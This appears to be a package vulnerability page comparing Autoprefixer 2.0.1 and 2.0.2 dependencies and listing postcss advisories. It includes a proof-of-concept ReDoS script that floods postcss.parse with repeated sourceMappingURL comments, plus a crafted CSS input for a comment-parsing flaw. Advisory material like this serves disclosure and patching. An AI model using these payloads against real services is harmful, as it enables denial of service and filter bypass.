Autoprefixer versions 2.0.1 and 2.0.2, both designed to automatically add vendor prefixes to CSS rules based on data from caniuse.com, offer developers a convenient way to ensure cross-browser compatibility without manually managing prefixes. Examining the changes between these versions reveals subtle but important updates.
A key difference lies in the dependencies. Version 2.0.2 updates its fs-extra dependency to "~0.10.0" from "~0.9.1" in version 2.0.1. This indicates potential improvements or bug fixes related to file system operations within Autoprefixer. The caniuse-db dependency also sees an update, moving from "^1.0.20140626" to "^1.0.20140628". This signifies an updated database of browser compatibility information, ensuring that Autoprefixer uses the latest Can I Use data to apply prefixes accurately.
For developers, this means version 2.0.2 offers slightly more up-to-date browser support information and potentially more robust file handling. While the core functionality of Autoprefixer remains the same — automating vendor prefixing to streamline CSS development and improve cross-browser compatibility — the updated dependencies contribute to a more reliable and accurate prefixing process. The release dates clearly show that version 2.0.2 came out shortly after 2.0.1, which indicates the changes might address some bugs.
All the vulnerabilities related to the version 2.0.2 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.